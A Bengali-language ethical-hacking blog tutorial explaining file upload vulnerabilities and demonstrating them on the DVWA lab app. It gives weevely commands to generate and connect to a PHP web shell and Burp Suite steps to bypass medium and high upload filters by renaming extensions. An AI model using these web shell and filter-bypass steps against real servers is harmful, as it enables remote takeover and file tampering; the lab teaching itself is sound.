...
File Upload Vulnerability

ফাইল আপলোড Vulnerability কি? এর প্রভাব কি? ফাইল আপলোড Vulnerability Live Process (By DVWA)

ফাইল আপলোড Vulnerability কি?


ফাইল আপলোড Vulnerability হল যখন একটি ওয়েব সার্ভার ব্যবহারকারীদের তাদের নাম, প্রকার, বিষয়বস্তু বা আকারের মতো পর্যাপ্ত পরিমাণে যাচাই না করেই তার ফাইল সিস্টেমে ফাইল আপলোড করার অনুমতি দেয়৷

এই ফাইল আপলোড এর উপর উপর সঠিকভাবে Restriction প্রয়োগ করতে না পারলে ওয়েবসাইটের file-upload ভারিয়াবিলিটি ব্যবহার করে ডাটা টেম্পারিং করে যে কেউ যেকোনো ধরনের ফাইল ওয়েবসাইটে আপলোড করে দিতে পারে এবং বিভিন্ন ধরনের server-side script files এর মাধ্যমে যে কেউ ওয়েবসাইটের রিমোট এক্সেস নিয়ে নিতে পারে৷

File Upload Vulnerability

 

ফাইল আপলোড দুর্বলতা প্রভাব কি?


সবচেয়ে খারাপ পরিস্থিতিতে, ফাইলের ধরনটি সঠিকভাবে যাচাই করা হয় না, এবং সার্ভার কনফিগারেশন নির্দিষ্ট ধরনের ফাইল (যেমন .php এবং .jsp) কোড আপলোড করার অনুমতি দেয়। এই ক্ষেত্রে, একজন আক্রমণকারী সম্ভাব্যভাবে একটি সার্ভার-সাইড কোড ফাইল আপলোড করতে পারে যা একটি ওয়েব শেল হিসাবে কাজ করে, কার্যকরভাবে তারা সার্ভারের রিমোট অ্যাক্সিস নিতে পারে এবং যেকোনো ধরনের ফাইল টেম্পারিং করতে পারে।

যদি ফাইলের নামটি সঠিকভাবে যাচাই করা না হয়, তাহলে এটি আক্রমণকারীকে একই নামের একটি ফাইল আপলোড করে Critical ফাইলগুলিকে ওভাররাইট করার অনুমতি দিতে পারে। যদি সার্ভারটি directory traversal এর জন্যও ঝুঁকিপূর্ণ হয়, তাহলে এর অর্থ হতে পারে Attacker রা অপ্রত্যাশিত স্থানে ফাইল আপলোড করতে সক্ষম হতে পারে।

আমরা ফাইল আপলোড Vulnerability টেস্ট করা এবং ফাইল টেম্পারিং করার জন্য DVWA ওয়েব অ্যাপ্লিকেশন টি ব্যবহার করব। আমি ধরে নিচ্ছি আপনারা DVWA সম্পর্কে জানেন। DVWA (Damn Vulnerable Web Application) ওয়েব অ্যাপ্লিকেশন টি ডিজাইন করা হয়েছে হ্যাকারদের বিভিন্ন ধরনের Vulnerability টেস্ট করার জন্য। হঠাৎ আমরা কোন রুলস ব্রেক না করে লাইভ সার্ভারে অ্যাটাক না করে আমরা নিজেদের মেশিনে Vulnerability টেস্ট করতে পারি।

 

ফাইল আপলোড Vulnerability Live Process:


Create a shell in kali using weevely

In kali >
● cd Desktop
● weevely generate 12345 /home/kali/Desktop/cmbd.php
(format: weevely generate [shell password] [location/shell name.php])
>> Shell is created

 


● Metasploitable > ifconfig
● Find IP and in kali put the IP

 

● File Upload Vulnerability In Low Security


● DVWA > Login: admin Pass: password
● DVWA > security : Low

 

● DVWA > upload : Upload an image. It will be uploaded successfully

 

● DVWA > upload : Upload the shell (php file). It will be uploaded successfully as the security is low.

 


● Get the shell URL: 192.168.56.129/dvwa/hackable/uploads/shell.php
● In kali check shell connection :
● weevely 192.168.56.129/dvwa/hackable/uploads/shell.php 12345
(format: weevely [shell URL] [shell password]

 


● pwd (To check location)
● cd /var
● ls
● cat any file
(so we get access to the server through shell and we can delete/ edit and cat any file)

 


● cd /var/www/dvwa/hackable/uploads
● ls (see all uploaded files)
● rm minhaz.jpg
● ls (see the image is removed)

 

 

● File Upload Vulnerability In Medium Security:


● DVWA > security : Medium
● DVWA > upload : Upload the shell (php file) > Its not uploaded for medium security

 


● Now we will use file upload vulnerability using burp suite

In your browser (Firefox in my case) in preferences, search for the keyword ‘proxy’. Click on the network and proxy tab and change your proxy settings to manual. In our case Burp Suite is the proxy. By default Burp Suite operates in the following address- 127.0.0.1:8080. So in the browser, set the IP address as 127.0.0.1 and the port as 8080.


● In kali > mozilla > settings > search with proxy > network settings
● choose Manual proxy: IP 127.0.0.1 & Port : 8080
● check : Also use this proxy for HTTPS > ok to use burp suite

 


● In kali > search with “burpsuite” > open it > next > start burpsuite

 


● Now rename the shell name (shell.php to cmbd.jpg)
● Upload the cmbd.jpg
● BurpSuite > Proxy > intercept ON >

 


● Now try to upload the file again in DVWA
● you will get the response in BurpSuite

 

 


● In intercept > change the shell extension to cmbd.php

 


● Now forward the request & See now the file is uploaded (This is file upload vulnerability)

 


● Again we can get access to the shell and change/Tamper any file of the server

 

● File Upload Vulnerability In High Security:


● Now the method in medium security will not work
● similarly we will upload the cmbd.jpg file
● In burp > intercept is ON > take the request
● change the file name to: cmbd.php.jpg

 

● Now forward the request & See now the file is uploaded (This is file upload vulnerability)


● Again we can get access to the shell and change/Tamper any file of the server

 


We have successfully exploited the file upload vulnerability of our web application.

 

Read more blogs on ethical hacking here.

 

Thanks
Minhazul Asif

Share the Post:

Related Posts